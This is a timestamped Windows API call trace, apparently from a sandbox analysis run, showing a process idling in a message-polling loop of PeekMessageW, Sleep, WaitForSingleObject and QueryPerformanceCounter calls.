[0142.746] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.747] Sleep (dwMilliseconds=0x64) [0142.761] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.761] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751438372) returned 1 [0142.761] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751438556) returned 1 [0142.762] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.762] Sleep (dwMilliseconds=0x64) [0142.777] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.777] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751491392) returned 1 [0142.777] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751491576) returned 1 [0142.777] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.778] Sleep (dwMilliseconds=0x64) [0142.794] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751549582) returned 1 [0142.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751549782) returned 1 [0142.794] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.795] Sleep (dwMilliseconds=0x64) [0142.808] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.808] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751597943) returned 1 [0142.808] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751598125) returned 1 [0142.808] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.809] Sleep (dwMilliseconds=0x64) [0142.828] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.828] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751665601) returned 1 [0142.828] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751665803) returned 1 [0142.829] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.830] Sleep (dwMilliseconds=0x64) [0142.839] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751704654) returned 1 [0142.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751704852) returned 1 [0142.840] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.840] Sleep (dwMilliseconds=0x64) [0142.855] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751757900) returned 1 [0142.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751758083) returned 1 [0142.855] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.856] Sleep (dwMilliseconds=0x64) [0142.870] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.870] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751811201) returned 1 [0142.870] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751811384) returned 1 [0142.871] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.871] Sleep (dwMilliseconds=0x64) [0142.887] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.887] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751867783) returned 1 [0142.887] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751867955) returned 1 [0142.887] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.888] Sleep (dwMilliseconds=0x64) [0142.901] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.901] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751917867) returned 1 [0142.902] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751918036) returned 1 [0142.902] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.903] Sleep (dwMilliseconds=0x64) [0142.917] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.917] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751971089) returned 1 [0142.917] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751971262) returned 1 [0142.918] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.918] Sleep (dwMilliseconds=0x64) [0142.933] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.933] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752026708) returned 1 [0142.933] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752026905) returned 1 [0142.934] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.935] Sleep (dwMilliseconds=0x64) [0142.948] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752078196) returned 1 [0142.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752078394) returned 1 [0142.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.950] Sleep (dwMilliseconds=0x64) [0142.964] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752131246) returned 1 [0142.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752131442) returned 1 [0142.965] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.965] Sleep (dwMilliseconds=0x64) [0142.979] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.980] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752184561) returned 1 [0142.980] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752184763) returned 1 [0142.980] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.981] Sleep (dwMilliseconds=0x64) [0142.995] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.995] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752237857) returned 1 [0142.995] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752238053) returned 1 [0142.996] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.996] Sleep (dwMilliseconds=0x64) [0143.011] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.011] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752292003) returned 1 [0143.011] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752292185) returned 1 [0143.012] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.012] Sleep (dwMilliseconds=0x64) [0143.026] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.026] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752345132) returned 1 [0143.027] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752345331) returned 1 [0143.027] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.028] Sleep (dwMilliseconds=0x64) [0143.042] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752399879) returned 1 [0143.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752400060) returned 1 [0143.043] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.044] Sleep (dwMilliseconds=0x64) [0143.057] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752451207) returned 1 [0143.058] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752451406) returned 1 [0143.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.059] Sleep (dwMilliseconds=0x64) [0143.073] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752505793) returned 1 [0143.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752505975) returned 1 [0143.074] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.075] Sleep (dwMilliseconds=0x64) [0143.089] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752558881) returned 1 [0143.089] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752559056) returned 1 [0143.090] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.090] Sleep (dwMilliseconds=0x64) [0143.104] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.104] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752611118) returned 1 [0143.104] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752611300) returned 1 [0143.105] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.105] Sleep (dwMilliseconds=0x64) [0143.120] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.120] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752664886) returned 1 [0143.120] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752665071) returned 1 [0143.121] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.121] Sleep (dwMilliseconds=0x64) [0143.136] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752718051) returned 1 [0143.136] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752718236) returned 1 [0143.136] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.137] Sleep (dwMilliseconds=0x64) [0143.152] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752773241) returned 1 [0143.152] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752773438) returned 1 [0143.152] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.153] Sleep (dwMilliseconds=0x64) [0143.167] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.167] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752824395) returned 1 [0143.167] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752824590) returned 1 [0143.167] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.168] Sleep (dwMilliseconds=0x64) [0143.182] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.182] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752877665) returned 1 [0143.182] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752877849) returned 1 [0143.183] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.183] Sleep (dwMilliseconds=0x64) [0143.198] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.198] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752931308) returned 1 [0143.198] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752931472) returned 1 [0143.199] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.199] Sleep (dwMilliseconds=0x64) [0143.213] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=752984470) returned 1 [0143.214] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=752984700) returned 1 [0143.214] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.215] Sleep (dwMilliseconds=0x64) [0143.229] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753038023) returned 1 [0143.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753038193) returned 1 [0143.230] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.230] Sleep (dwMilliseconds=0x64) [0143.245] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753091000) returned 1 [0143.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753091198) returned 1 [0143.245] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.246] Sleep (dwMilliseconds=0x64) [0143.261] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.261] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753146497) returned 1 [0143.261] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753146665) returned 1 [0143.262] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.262] Sleep (dwMilliseconds=0x64) [0143.282] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.282] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753218758) returned 1 [0143.282] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753218956) returned 1 [0143.283] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.283] Sleep (dwMilliseconds=0x64) [0143.291] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753250956) returned 1 [0143.292] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753251153) returned 1 [0143.292] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.293] Sleep (dwMilliseconds=0x64) [0143.307] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.307] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753305263) returned 1 [0143.307] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753305446) returned 1 [0143.308] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.309] Sleep (dwMilliseconds=0x64) [0143.323] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.323] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753357913) returned 1 [0143.323] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753358096) returned 1 [0143.323] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.324] Sleep (dwMilliseconds=0x64) [0143.338] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753410900) returned 1 [0143.338] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753411080) returned 1 [0143.339] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.339] Sleep (dwMilliseconds=0x64) [0143.354] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.354] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753465143) returned 1 [0143.354] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753465314) returned 1 [0143.355] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.355] Sleep (dwMilliseconds=0x64) [0143.370] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.370] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753519370) returned 1 [0143.370] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753519537) returned 1 [0143.371] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.371] Sleep (dwMilliseconds=0x64) [0143.385] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753570956) returned 1 [0143.385] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753571114) returned 1 [0143.386] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.386] Sleep (dwMilliseconds=0x64) [0143.401] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753624165) returned 1 [0143.401] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753624328) returned 1 [0143.401] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.402] Sleep (dwMilliseconds=0x64) [0143.417] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753680044) returned 1 [0143.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753680208) returned 1 [0143.418] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.418] Sleep (dwMilliseconds=0x64) [0143.432] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753730730) returned 1 [0143.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753730888) returned 1 [0143.432] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.433] Sleep (dwMilliseconds=0x64) [0143.447] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753784174) returned 1 [0143.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753784331) returned 1 [0143.448] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.449] Sleep (dwMilliseconds=0x64) [0143.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753841372) returned 1 [0143.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753841528) returned 1 [0143.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.465] Sleep (dwMilliseconds=0x64) [0143.502] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753971457) returned 1 [0143.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753971634) returned 1 [0143.503] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.503] Sleep (dwMilliseconds=0x64) [0143.510] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.510] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=753997483) returned 1 [0143.510] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=753997653) returned 1 [0143.510] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.511] Sleep (dwMilliseconds=0x64) [0143.526] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754051125) returned 1 [0143.526] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754051295) returned 1 [0143.526] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0143.527] Sleep (dwMilliseconds=0x64) [0143.541] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0143.541] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=754103951) returned 1 [0143.541] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=754104122) returned 1 